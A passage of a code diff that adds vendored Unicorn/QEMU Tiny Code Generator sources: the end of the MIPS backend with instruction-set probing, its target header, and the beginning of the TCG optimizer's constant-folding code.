INDEX_op_add2_i32: + tcg_out_addsub2(s, a0, a1, a2, args[3], args[4], args[5], + const_args[4], const_args[5], false); + break; + case INDEX_op_sub2_i32: + tcg_out_addsub2(s, a0, a1, a2, args[3], args[4], args[5], + const_args[4], const_args[5], true); + break; + + case INDEX_op_mov_i32: /* Always emitted via tcg_out_mov. */ + case INDEX_op_movi_i32: /* Always emitted via tcg_out_movi. */ + case INDEX_op_call: /* Always emitted via tcg_out_call. */ + default: + tcg_abort(); + } +} + +static const TCGTargetOpDef mips_op_defs[] = { + { INDEX_op_exit_tb, { } }, + { INDEX_op_goto_tb, { } }, + { INDEX_op_br, { } }, + + { INDEX_op_ld8u_i32, { "r", "r" } }, + { INDEX_op_ld8s_i32, { "r", "r" } }, + { INDEX_op_ld16u_i32, { "r", "r" } }, + { INDEX_op_ld16s_i32, { "r", "r" } }, + { INDEX_op_ld_i32, { "r", "r" } }, + { INDEX_op_st8_i32, { "rZ", "r" } }, + { INDEX_op_st16_i32, { "rZ", "r" } }, + { INDEX_op_st_i32, { "rZ", "r" } }, + + { INDEX_op_add_i32, { "r", "rZ", "rJ" } }, + { INDEX_op_mul_i32, { "r", "rZ", "rZ" } }, + { INDEX_op_muls2_i32, { "r", "r", "rZ", "rZ" } }, + { INDEX_op_mulu2_i32, { "r", "r", "rZ", "rZ" } }, + { INDEX_op_mulsh_i32, { "r", "rZ", "rZ" } }, + { INDEX_op_muluh_i32, { "r", "rZ", "rZ" } }, + { INDEX_op_div_i32, { "r", "rZ", "rZ" } }, + { INDEX_op_divu_i32, { "r", "rZ", "rZ" } }, + { INDEX_op_rem_i32, { "r", "rZ", "rZ" } }, + { INDEX_op_remu_i32, { "r", "rZ", "rZ" } }, + { INDEX_op_sub_i32, { "r", "rZ", "rN" } }, + + { INDEX_op_and_i32, { "r", "rZ", "rIK" } }, + { INDEX_op_nor_i32, { "r", "rZ", "rZ" } }, + { INDEX_op_not_i32, { "r", "rZ" } }, + { INDEX_op_or_i32, { "r", "rZ", "rIZ" } }, + { INDEX_op_xor_i32, { "r", "rZ", "rIZ" } }, + + { INDEX_op_shl_i32, { "r", "rZ", "ri" } }, + { INDEX_op_shr_i32, { "r", "rZ", "ri" } }, + { INDEX_op_sar_i32, { "r", "rZ", "ri" } }, + { INDEX_op_rotr_i32, { "r", "rZ", "ri" } }, + { INDEX_op_rotl_i32, { "r", "rZ", "ri" } }, + + { INDEX_op_bswap16_i32, { "r", "r" } }, + { INDEX_op_bswap32_i32, { "r", "r" } }, + + { INDEX_op_ext8s_i32, { "r", "rZ" } }, + { INDEX_op_ext16s_i32, { "r", "rZ" } }, + + { INDEX_op_deposit_i32, { "r", "0", "rZ" } }, + + { INDEX_op_brcond_i32, { "rZ", "rZ" } }, + { INDEX_op_movcond_i32, { "r", "rZ", "rZ", "rZ", "0" } }, + { INDEX_op_setcond_i32, { "r", "rZ", "rZ" } }, + { INDEX_op_setcond2_i32, { "r", "rZ", "rZ", "rZ", "rZ" } }, + + { INDEX_op_add2_i32, { "r", "r", "rZ", "rZ", "rN", "rN" } }, + { INDEX_op_sub2_i32, { "r", "r", "rZ", "rZ", "rN", "rN" } }, + { INDEX_op_brcond2_i32, { "rZ", "rZ", "rZ", "rZ" } }, + +#if TARGET_LONG_BITS == 32 + { INDEX_op_qemu_ld_i32, { "L", "lZ" } }, + { INDEX_op_qemu_st_i32, { "SZ", "SZ" } }, + { INDEX_op_qemu_ld_i64, { "L", "L", "lZ" } }, + { INDEX_op_qemu_st_i64, { "SZ", "SZ", "SZ" } }, +#else + { INDEX_op_qemu_ld_i32, { "L", "lZ", "lZ" } }, + { INDEX_op_qemu_st_i32, { "SZ", "SZ", "SZ" } }, + { INDEX_op_qemu_ld_i64, { "L", "L", "lZ", "lZ" } }, + { INDEX_op_qemu_st_i64, { "SZ", "SZ", "SZ", "SZ" } }, +#endif + { -1 }, +}; + +static int tcg_target_callee_save_regs[] = { + TCG_REG_S0, /* used for the global env (TCG_AREG0) */ + TCG_REG_S1, + TCG_REG_S2, + TCG_REG_S3, + TCG_REG_S4, + TCG_REG_S5, + TCG_REG_S6, + TCG_REG_S7, + TCG_REG_S8, + TCG_REG_RA, /* should be last for ABI compliance */ +}; + +/* The Linux kernel doesn't provide any information about the available + instruction set. Probe it using a signal handler. */ + +#include + +#ifndef use_movnz_instructions +bool use_movnz_instructions = false; +#endif + +#ifndef use_mips32_instructions +bool use_mips32_instructions = false; +#endif + +#ifndef use_mips32r2_instructions +bool use_mips32r2_instructions = false; +#endif + +static volatile sig_atomic_t got_sigill; + +static void sigill_handler(int signo, siginfo_t *si, void *data) +{ + /* Skip the faulty instruction */ + ucontext_t *uc = (ucontext_t *)data; + uc->uc_mcontext.pc += 4; + + got_sigill = 1; +} + +static void tcg_target_detect_isa(void) +{ + struct sigaction sa_old, sa_new; + + memset(&sa_new, 0, sizeof(sa_new)); + sa_new.sa_flags = SA_SIGINFO; + sa_new.sa_sigaction = sigill_handler; + sigaction(SIGILL, &sa_new, &sa_old); + + /* Probe for movn/movz, necessary to implement movcond. */ +#ifndef use_movnz_instructions + got_sigill = 0; + asm volatile(".set push\n" + ".set mips32\n" + "movn $zero, $zero, $zero\n" + "movz $zero, $zero, $zero\n" + ".set pop\n" + : : : ); + use_movnz_instructions = !got_sigill; +#endif + + /* Probe for MIPS32 instructions. As no subsetting is allowed + by the specification, it is only necessary to probe for one + of the instructions. */ +#ifndef use_mips32_instructions + got_sigill = 0; + asm volatile(".set push\n" + ".set mips32\n" + "mul $zero, $zero\n" + ".set pop\n" + : : : ); + use_mips32_instructions = !got_sigill; +#endif + + /* Probe for MIPS32r2 instructions if MIPS32 instructions are + available. As no subsetting is allowed by the specification, + it is only necessary to probe for one of the instructions. */ +#ifndef use_mips32r2_instructions + if (use_mips32_instructions) { + got_sigill = 0; + asm volatile(".set push\n" + ".set mips32r2\n" + "seb $zero, $zero\n" + ".set pop\n" + : : : ); + use_mips32r2_instructions = !got_sigill; + } +#endif + + sigaction(SIGILL, &sa_old, NULL); +} + +/* Generate global QEMU prologue and epilogue code */ +static void tcg_target_qemu_prologue(TCGContext *s) +{ + int i, frame_size; + + /* reserve some stack space, also for TCG temps. */ + frame_size = ARRAY_SIZE(tcg_target_callee_save_regs) * 4 + + TCG_STATIC_CALL_ARGS_SIZE + + CPU_TEMP_BUF_NLONGS * sizeof(long); + frame_size = (frame_size + TCG_TARGET_STACK_ALIGN - 1) & + ~(TCG_TARGET_STACK_ALIGN - 1); + tcg_set_frame(s, TCG_REG_SP, ARRAY_SIZE(tcg_target_callee_save_regs) * 4 + + TCG_STATIC_CALL_ARGS_SIZE, + CPU_TEMP_BUF_NLONGS * sizeof(long)); + + /* TB prologue */ + tcg_out_addi(s, TCG_REG_SP, -frame_size); + for(i = 0 ; i < ARRAY_SIZE(tcg_target_callee_save_regs) ; i++) { + tcg_out_st(s, TCG_TYPE_I32, tcg_target_callee_save_regs[i], + TCG_REG_SP, TCG_STATIC_CALL_ARGS_SIZE + i * 4); + } + + /* Call generated code */ + tcg_out_opc_reg(s, OPC_JR, 0, tcg_target_call_iarg_regs[1], 0); + tcg_out_mov(s, TCG_TYPE_PTR, TCG_AREG0, tcg_target_call_iarg_regs[0]); + tb_ret_addr = s->code_ptr; + + /* TB epilogue */ + for(i = 0 ; i < ARRAY_SIZE(tcg_target_callee_save_regs) ; i++) { + tcg_out_ld(s, TCG_TYPE_I32, tcg_target_callee_save_regs[i], + TCG_REG_SP, TCG_STATIC_CALL_ARGS_SIZE + i * 4); + } + + tcg_out_opc_reg(s, OPC_JR, 0, TCG_REG_RA, 0); + tcg_out_addi(s, TCG_REG_SP, frame_size); +} + +static void tcg_target_init(TCGContext *s) +{ + tcg_target_detect_isa(); + tcg_regset_set(s->tcg_target_available_regs[TCG_TYPE_I32], 0xffffffff); + tcg_regset_set(s->tcg_target_call_clobber_regs, + (1 << TCG_REG_V0) | + (1 << TCG_REG_V1) | + (1 << TCG_REG_A0) | + (1 << TCG_REG_A1) | + (1 << TCG_REG_A2) | + (1 << TCG_REG_A3) | + (1 << TCG_REG_T0) | + (1 << TCG_REG_T1) | + (1 << TCG_REG_T2) | + (1 << TCG_REG_T3) | + (1 << TCG_REG_T4) | + (1 << TCG_REG_T5) | + (1 << TCG_REG_T6) | + (1 << TCG_REG_T7) | + (1 << TCG_REG_T8) | + (1 << TCG_REG_T9)); + + tcg_regset_clear(s->reserved_regs); + tcg_regset_set_reg(s->reserved_regs, TCG_REG_ZERO); /* zero register */ + tcg_regset_set_reg(s->reserved_regs, TCG_REG_K0); /* kernel use only */ + tcg_regset_set_reg(s->reserved_regs, TCG_REG_K1); /* kernel use only */ + tcg_regset_set_reg(s->reserved_regs, TCG_TMP0); /* internal use */ + tcg_regset_set_reg(s->reserved_regs, TCG_TMP1); /* internal use */ + tcg_regset_set_reg(s->reserved_regs, TCG_REG_RA); /* return address */ + tcg_regset_set_reg(s->reserved_regs, TCG_REG_SP); /* stack pointer */ + tcg_regset_set_reg(s->reserved_regs, TCG_REG_GP); /* global pointer */ + + tcg_add_target_add_op_defs(s, mips_op_defs); +} + +void tb_set_jmp_target1(uintptr_t jmp_addr, uintptr_t addr) +{ + uint32_t *ptr = (uint32_t *)jmp_addr; + *ptr = deposit32(*ptr, 0, 26, addr >> 2); + flush_icache_range(jmp_addr, jmp_addr + 4); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/mips/tcg-target.h b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/mips/tcg-target.h new file mode 100644 index 0000000..c88a1c9 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/mips/tcg-target.h @@ -0,0 +1,137 @@ +/* + * Tiny Code Generator for QEMU + * + * Copyright (c) 2008-2009 Arnaud Patard + * Copyright (c) 2009 Aurelien Jarno + * Based on i386/tcg-target.c - Copyright (c) 2008 Fabrice Bellard + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +#ifndef TCG_TARGET_MIPS +#define TCG_TARGET_MIPS 1 + +#define TCG_TARGET_INSN_UNIT_SIZE 4 +#define TCG_TARGET_NB_REGS 32 + +typedef enum { + TCG_REG_ZERO = 0, + TCG_REG_AT, + TCG_REG_V0, + TCG_REG_V1, + TCG_REG_A0, + TCG_REG_A1, + TCG_REG_A2, + TCG_REG_A3, + TCG_REG_T0, + TCG_REG_T1, + TCG_REG_T2, + TCG_REG_T3, + TCG_REG_T4, + TCG_REG_T5, + TCG_REG_T6, + TCG_REG_T7, + TCG_REG_S0, + TCG_REG_S1, + TCG_REG_S2, + TCG_REG_S3, + TCG_REG_S4, + TCG_REG_S5, + TCG_REG_S6, + TCG_REG_S7, + TCG_REG_T8, + TCG_REG_T9, + TCG_REG_K0, + TCG_REG_K1, + TCG_REG_GP, + TCG_REG_SP, + TCG_REG_S8, + TCG_REG_RA, + + TCG_REG_CALL_STACK = TCG_REG_SP, + TCG_AREG0 = TCG_REG_S0, +} TCGReg; + +/* used for function call generation */ +#define TCG_TARGET_STACK_ALIGN 8 +#define TCG_TARGET_CALL_STACK_OFFSET 16 +#define TCG_TARGET_CALL_ALIGN_ARGS 1 + +/* MOVN/MOVZ instructions detection */ +#if (defined(__mips_isa_rev) && (__mips_isa_rev >= 1)) || \ + defined(_MIPS_ARCH_LOONGSON2E) || defined(_MIPS_ARCH_LOONGSON2F) || \ + defined(_MIPS_ARCH_MIPS4) +#define use_movnz_instructions 1 +#else +extern bool use_movnz_instructions; +#endif + +/* MIPS32 instruction set detection */ +#if defined(__mips_isa_rev) && (__mips_isa_rev >= 1) +#define use_mips32_instructions 1 +#else +extern bool use_mips32_instructions; +#endif + +/* MIPS32R2 instruction set detection */ +#if defined(__mips_isa_rev) && (__mips_isa_rev >= 2) +#define use_mips32r2_instructions 1 +#else +extern bool use_mips32r2_instructions; +#endif + +/* optional instructions */ +#define TCG_TARGET_HAS_div_i32 1 +#define TCG_TARGET_HAS_rem_i32 1 +#define TCG_TARGET_HAS_not_i32 1 +#define TCG_TARGET_HAS_nor_i32 1 +#define TCG_TARGET_HAS_andc_i32 0 +#define TCG_TARGET_HAS_orc_i32 0 +#define TCG_TARGET_HAS_eqv_i32 0 +#define TCG_TARGET_HAS_nand_i32 0 +#define TCG_TARGET_HAS_mulu2_i32 1 +#define TCG_TARGET_HAS_muls2_i32 1 +#define TCG_TARGET_HAS_muluh_i32 1 +#define TCG_TARGET_HAS_mulsh_i32 1 + +/* optional instructions detected at runtime */ +#define TCG_TARGET_HAS_movcond_i32 use_movnz_instructions +#define TCG_TARGET_HAS_bswap16_i32 use_mips32r2_instructions +#define TCG_TARGET_HAS_bswap32_i32 use_mips32r2_instructions +#define TCG_TARGET_HAS_deposit_i32 use_mips32r2_instructions +#define TCG_TARGET_HAS_ext8s_i32 use_mips32r2_instructions +#define TCG_TARGET_HAS_ext16s_i32 use_mips32r2_instructions +#define TCG_TARGET_HAS_rot_i32 use_mips32r2_instructions + +/* optional instructions automatically implemented */ +#define TCG_TARGET_HAS_neg_i32 0 /* sub rd, zero, rt */ +#define TCG_TARGET_HAS_ext8u_i32 0 /* andi rt, rs, 0xff */ +#define TCG_TARGET_HAS_ext16u_i32 0 /* andi rt, rs, 0xffff */ + +#ifdef __OpenBSD__ +#include +#else +#include +#endif + +static inline void flush_icache_range(uintptr_t start, uintptr_t stop) +{ + cacheflush ((void *)start, stop-start, ICACHE); +} + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/optimize.c b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/optimize.c new file mode 100644 index 0000000..8693ebf --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/optimize.c @@ -0,0 +1,1405 @@ +/* + * Optimizations for Tiny Code Generator for QEMU + * + * Copyright (c) 2010 Samsung Electronics. + * Contributed by Kirill Batuzov + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +#include "config.h" + +#include +#include + +#include "qemu-common.h" +#include "tcg-op.h" + +#define CASE_OP_32_64(x) \ + glue(glue(case INDEX_op_, x), _i32): \ + glue(glue(case INDEX_op_, x), _i64) + +/* Reset TEMP's state to TCG_TEMP_UNDEF. If TEMP only had one copy, remove + the copy flag from the left temp. */ +static void reset_temp(TCGContext *s, TCGArg temp) +{ + struct tcg_temp_info *temps = s->temps2; + + if (temps[temp].state == TCG_TEMP_COPY) { + if (temps[temp].prev_copy == temps[temp].next_copy) { + temps[temps[temp].next_copy].state = TCG_TEMP_UNDEF; + } else { + temps[temps[temp].next_copy].prev_copy = temps[temp].prev_copy; + temps[temps[temp].prev_copy].next_copy = temps[temp].next_copy; + } + } + temps[temp].state = TCG_TEMP_UNDEF; + temps[temp].mask = -1; +} + +/* Reset all temporaries, given that there are NB_TEMPS of them. */ +static void reset_all_temps(TCGContext *s, int nb_temps) +{ + struct tcg_temp_info *temps = s->temps2; + int i; + + for (i = 0; i < nb_temps; i++) { + temps[i].state = TCG_TEMP_UNDEF; + temps[i].mask = -1; + } +} + +static int op_bits(TCGContext *s, TCGOpcode op) +{ + const TCGOpDef *def = &s->tcg_op_defs[op]; + return def->flags & TCG_OPF_64BIT ? 64 : 32; +} + +static TCGOpcode op_to_mov(TCGContext *s, TCGOpcode op) +{ + switch (op_bits(s, op)) { + case 32: + return INDEX_op_mov_i32; + case 64: + return INDEX_op_mov_i64; + default: + fprintf(stderr, "op_to_mov: unexpected return value of " + "function op_bits.\n"); + tcg_abort(); + } +} + +static TCGOpcode op_to_movi(TCGContext *s, TCGOpcode op) +{ + switch (op_bits(s, op)) { + case 32: + return INDEX_op_movi_i32; + case 64: + return INDEX_op_movi_i64; + default: + fprintf(stderr, "op_to_movi: unexpected return value of " + "function op_bits.\n"); + tcg_abort(); + } +} + +static TCGArg find_better_copy(TCGContext *s, TCGArg temp) +{ + struct tcg_temp_info *temps = s->temps2; + TCGArg i; + + /* If this is already a global, we can't do better. */ + if (temp < (unsigned int)s->nb_globals) { + return temp; + } + + /* Search for a global first. */ + for (i = temps[temp].next_copy ; i != temp ; i = temps[i].next_copy) { + if (i < (unsigned int)s->nb_globals) { + return i; + } + } + + /* If it is a temp, search for a temp local. */ + if (!s->temps[temp].temp_local) { + for (i = temps[temp].next_copy ; i != temp ; i = temps[i].next_copy) { + if (s->temps[i].temp_local) { + return i; + } + } + } + + /* Failure to find a better representation, return the same temp. */ + return temp; +} + +static bool temps_are_copies(TCGContext *s, TCGArg arg1, TCGArg arg2) +{ + struct tcg_temp_info *temps = s->temps2; + TCGArg i; + + if (arg1 == arg2) { + return true; + } + + if (temps[arg1].state != TCG_TEMP_COPY + || temps[arg2].state != TCG_TEMP_COPY) { + return false; + } + + for (i = temps[arg1].next_copy ; i != arg1 ; i = temps[i].next_copy) { + if (i == arg2) { + return true; + } + } + + return false; +} + +static void tcg_opt_gen_mov(TCGContext *s, int op_index, TCGArg *gen_args, + TCGOpcode old_op, TCGArg dst, TCGArg src) +{ + struct tcg_temp_info *temps = s->temps2; + TCGOpcode new_op = op_to_mov(s, old_op); + tcg_target_ulong mask; + + s->gen_opc_buf[op_index] = new_op; + + reset_temp(s, dst); + mask = temps[src].mask; + if (TCG_TARGET_REG_BITS > 32 && new_op == INDEX_op_mov_i32) { + /* High bits of the destination are now garbage. */ + mask |= ~0xffffffffull; + } + temps[dst].mask = mask; + + assert(temps[src].state != TCG_TEMP_CONST); + + if (s->temps[src].type == s->temps[dst].type) { + if (temps[src].state != TCG_TEMP_COPY) { + temps[src].state = TCG_TEMP_COPY; + temps[src].next_copy = src; + temps[src].prev_copy = src; + } + temps[dst].state = TCG_TEMP_COPY; + temps[dst].next_copy = temps[src].next_copy; + temps[dst].prev_copy = src; + temps[temps[dst].next_copy].prev_copy = dst; + temps[src].next_copy = dst; + } + + gen_args[0] = dst; + gen_args[1] = src; +} + +static void tcg_opt_gen_movi(TCGContext *s, int op_index, TCGArg *gen_args, + TCGOpcode old_op, TCGArg dst, TCGArg val) +{ + struct tcg_temp_info *temps = s->temps2; + TCGOpcode new_op = op_to_movi(s, old_op); + tcg_target_ulong mask; + + s->gen_opc_buf[op_index] = new_op; + + reset_temp(s, dst); + temps[dst].state = TCG_TEMP_CONST; + temps[dst].val = val; + mask = val; + if (TCG_TARGET_REG_BITS > 32 && new_op == INDEX_op_mov_i32) { + /* High bits of the destination are now garbage. */ + mask |= ~0xffffffffull; + } + temps[dst].mask = mask; + + gen_args[0] = dst; + gen_args[1] = val; +} + +static TCGArg do_constant_folding_2(TCGOpcode op, TCGArg x, TCGArg y) +{ + uint64_t l64, h64; + + switch (op) { + CASE_OP_32_64(add): + return x + y; + + CASE_OP_32_64(sub): + return x - y; + + CASE_OP_32_64(mul): + return x * y; + + CASE_OP_32_64(and): + return x & y; + + CASE_OP_32_64(or): + return x | y; + + CASE_OP_32_64(xor): + return x ^ y; + + case INDEX_op_shl_i32: + return (uint32_t)x << (y & 31); + + case INDEX_op_shl_i64: + return (uint64_t)x << (y & 63); + + case INDEX_op_shr_i32: + return (uint32_t)x >> (y & 31); + + case INDEX_op_trunc_shr_i32: + case INDEX_op_shr_i64: + return (uint64_t)x >> (y & 63); + + case INDEX_op_sar_i32: + return (int32_t)x >> (y & 31); + + case INDEX_op_sar_i64: + return (int64_t)x >> (y & 63); + + case INDEX_op_rotr_i32: + return ror32(x, y & 31); + + case INDEX_op_rotr_i64: + return (TCGArg)ror64(x, y & 63); + + case INDEX_op_rotl_i32: + return rol32(x, y & 31); + + case INDEX_op_rotl_i64: + return (TCGArg)rol64(x, y & 63); + + CASE_OP_32_64(not): + return ~x; + + CASE_OP_32_64(neg): + return 0-x; + + CASE_OP_32_64(andc): + return x & ~y; + + CASE_OP_32_64(orc): + return x | ~y; + + CASE_OP_32_64(eqv): + return ~(x ^ y); + + CASE_OP_32_64(nand): + return ~(x & y); + + CASE_OP_32_64(nor): + return ~(x | y); + + CASE_OP_32_64(ext8s): + return (int8_t)x; + + CASE_OP_32_64(ext16s): + return (int16_t)x; + + CASE_OP_32_64(ext8u): + return (uint8_t)x; + + CASE_OP_32_64(ext16u): + return (uint16_t)x; + + case INDEX_op_ext32s_i64: + return (int32_t)x; + + case INDEX_op_ext32u_i64: + return (uint32_t)x; + + case INDEX_op_muluh_i32: + return ((uint64_t)(uint32_t)x * (uint32_t)y) >> 32; + case INDEX_op_mulsh_i32: + return ((int64_t)(int32_t)x * (int32_t)y) >> 32; + + case INDEX_op_muluh_i64: + mulu64(&l64, &h64, x, y); + return (TCGArg)h64; + case INDEX_op_mulsh_i64: + muls64(&l64, &h64, x, y); + return (TCGArg)h64; + + case INDEX_op_div_i32: + /* Avoid crashing on divide by zero, otherwise undefined. */ + return (int32_t)x / ((int32_t)y ? (int32_t)y : 1); + case INDEX_op_divu_i32: + return (uint32_t)x / ((uint32_t)y ? (uint32_t)y : 1); + case INDEX_op_div_i64: + return (int64_t)x / ((int64_t)y ? (int64_t)y : 1); + case INDEX_op_divu_i64: + return (uint64_t)x / ((uint64_t)y ? (uint64_t)y : 1); + + case INDEX_op_rem_i32: + return (int32_t)x % ((int32_t)y ? (int32_t)y : 1); + case INDEX_op_remu_i32: + return (uint32_t)x % ((uint32_t)y ? (uint32_t)y : 1); + case INDEX_op_rem_i64: + return (int64_t)x % ((int64_t)y ? (int64_t)y : 1); + case INDEX_op_remu_i64: + return (uint64_t)x % ((uint64_t)y ? (uint64_t)y : 1); + + default: + fprintf(stderr, + "Unrecognized operation %d in do_constant_folding.\n", op); + tcg_abort(); + } +} + +static TCGArg do_constant_folding(TCGContext *s, TCGOpcode op, TCGArg x, TCGArg y) +{ + TCGArg res = do_constant_folding_2(op, x, y); + if (op_bits(s, op) == 32) { + res &= 0xffffffff; + } + return res; +} + +static bool do_constant_folding_cond_32(uint32_t x, uint32_t y, TCGCond c) +{ + switch (c) { + case TCG_COND_EQ: + return x == y; + case TCG_COND_NE: + return x != y; + case TCG_COND_LT: + return (int32_t)x < (int32_t)y; + case TCG_COND_GE: + return (int32_t)x >= (int32_t)y; + case TCG_COND_LE: + return (int32_t)x <= (int32_t)y; + case TCG_COND_GT: + return (int32_t)x > (int32_t)y; + case TCG_COND_LTU: + return x < y; + case TCG_COND_GEU: + return x >= y; + case TCG_COND_LEU: + return x <= y; + case TCG_COND_GTU: + return x > y; + default: + tcg_abort(); + } +} + +static bool do_constant_folding_cond_64(uint64_t x, uint64_t y, TCGCond c) +{ + switch (c) { + case TCG_COND_EQ: + return x == y; + case TCG_COND_NE: + return x != y; + case TCG_COND_LT: + return (int64_t)x < (int64_t)y; + case TCG_COND_GE: + return (int64_t)x >= (int64_t)y; + case TCG_COND_LE: + return (int64_t)x <= (int64_t)y; + case TCG_COND_GT: + return (int64_t)x > (int64_t)y; + case TCG_COND_LTU: + return x < y; + case TCG_COND_GEU: + return x >= y; + case TCG_COND_LEU: + return x <= y; + case TCG_COND_GTU: + return x > y; + default: + tcg_abort(); + } +} + +static bool do_constant_folding_cond_eq(TCGCond c) +{ + switch (c) { + case TCG_COND_GT: + case TCG_COND_LTU: + case TCG_COND_LT: + case TCG_COND_GTU: + case TCG_COND_NE: + return 0; + case TCG_COND_GE: + case TCG_COND_GEU: + case TCG_COND_LE: + case TCG_COND_LEU: + case TCG_COND_EQ: + return 1; + default: + tcg_abort(); + } +} + +/* Return 2 if the condition can't be simplified, and the result + of the condition (0 or 1) if it can */ +static TCGArg do_constant_folding_cond(TCGContext *s, TCGOpcode op, TCGArg x, + TCGArg y, TCGCond c) +{ + struct tcg_temp_info *temps = s->temps2; + + if (temps[x].state == TCG_TEMP_CONST && temps[y].state == TCG_TEMP_CONST) { + switch (op_bits(s, op)) { + case 32: + return do_constant_folding_cond_32(temps[x].val, temps[y].val, c); + case 64: + return do_constant_folding_cond_64(temps[x].val, temps[y].val, c); + default: + tcg_abort(); + } + } else if (temps_are_copies(s, x, y)) { + return do_constant_folding_cond_eq(c); + } else if (temps[y].state == TCG_TEMP_CONST && temps[y].val == 0) { + switch (c) { + case TCG_COND_LTU: + return 0; + case TCG_COND_GEU: + return 1; + default: + return 2; + } + } else { + return 2; + } +} + +/* Return 2 if the condition can't be simplified, and the result + of the condition (0 or 1) if it can */ +static TCGArg do_constant_folding_cond2(TCGContext *s, TCGArg *p1, TCGArg *p2, TCGCond c) +{ + struct tcg_temp_info *temps = s->temps2; + + TCGArg al = p1[0], ah = p1[1]; + TCGArg bl = p2[0], bh = p2[1]; + + if (temps[bl].state == TCG_TEMP_CONST + && temps[bh].state == TCG_TEMP_CONST) { + uint64_t b = ((uint64_t)temps[bh].val << 32) | (uint32_t)temps[bl].val; + + if (temps[al].state == TCG_TEMP_CONST + && temps[ah].state == TCG_TEMP_CONST) { + uint64_t a; + a = ((uint64_t)temps[ah].val << 32) | (uint32_t)temps[al].val; + return do_constant_folding_cond_64(a, b, c); + } + if (b == 0) { + switch (c) { + case TCG_COND_LTU: + return 0; + case TCG_COND_GEU: + return 1; + default: + break; + } + } + } + if (temps_are_copies(s, al, bl) && temps_are_copies(s, ah, bh)) { + return do_constant_folding_cond_eq(c); + } + return 2; +} + +static bool swap_commutative(TCGContext *s, TCGArg dest, TCGArg *p1, TCGArg *p2) +{ + struct tcg_temp_info *temps = s->temps2; + TCGArg a1 = *p1, a2 = *p2; + int sum = 0; + + sum += temps[a1].state == TCG_TEMP_CONST; + sum -= temps[a2].state == TCG_TEMP_CONST; + + /* Prefer the constant in second argument, and then the form + op a, a, b, which is better handled on non-RISC hosts. */ + if (sum > 0 || (sum == 0 && dest == a2)) { + *p1 = a2; + *p2 = a1; + return true; + } + return false; +} + +static bool swap_commutative2(TCGContext *s, TCGArg *p1, TCGArg *p2) +{ + struct tcg_temp_info *temps = s->temps2; + int sum = 0; + + sum += temps[p1[0]].state == TCG_TEMP_CONST; + sum += temps[p1[1]].state == TCG_TEMP_CONST; + sum -= temps[p2[0]].state == TCG_TEMP_CONST; + sum -= temps[p2[1]].state == TCG_TEMP_CONST; + if (sum > 0) { + TCGArg t; + t = p1[0], p1[0] = p2[0], p2[0] = t; + t = p1[1], p1[1] = p2[1], p2[1] = t; + return true; + } + return false; +} + +/* Propagate constants and copies, fold constant expressions. */ +static TCGArg *tcg_constant_folding(TCGContext *s, uint16_t *tcg_opc_ptr, + TCGArg *args, TCGOpDef *tcg_op_defs) +{ + struct tcg_temp_info *temps = s->temps2; + int nb_ops, op_index, nb_temps, nb_globals; + TCGArg *gen_args; + + /* Array VALS has an element for each temp. + If this temp holds a constant then its value is kept in VALS' element. + If this temp is a copy of other ones then the other copies are + available through the doubly linked circular list. */ + + nb_temps = s->nb_temps; + nb_globals = s->nb_globals; + reset_all_temps(s, nb_temps); + + nb_ops = tcg_opc_ptr - s->gen_opc_buf; + if (nb_ops > OPC_BUF_SIZE) { + return NULL; + } + gen_args = args; + for (op_index = 0; op_index < nb_ops; op_index++) { + TCGOpcode op = s->gen_opc_buf[op_index]; + const TCGOpDef *def = &tcg_op_defs[op]; + tcg_target_ulong mask, partmask, affected; + int nb_oargs, nb_iargs, nb_args, i; + TCGArg tmp; + + if (op == INDEX_op_call) { + *gen_args++ = tmp = *args++; + nb_oargs = tmp >> 16; + nb_iargs = tmp & 0xffff; + nb_args = nb_oargs + nb_iargs + def->nb_cargs; + } else { + nb_oargs = def->nb_oargs; + nb_iargs = def->nb_iargs; + nb_args = def->nb_args; + } + + /* Do copy propagation */ + for (i = nb_oargs; i < nb_oargs + nb_iargs; i++) { + if (temps[args[i]].state == TCG_TEMP_COPY) { + args[i] = find_better_copy(s, args[i]); + } + } + + /* For commutative operations make constant second argument */ + switch (op) { + CASE_OP_32_64(add): + CASE_OP_32_64(mul): + CASE_OP_32_64(and): + CASE_OP_32_64(or): + CASE_OP_32_64(xor): + CASE_OP_32_64(eqv): + CASE_OP_32_64(nand): + 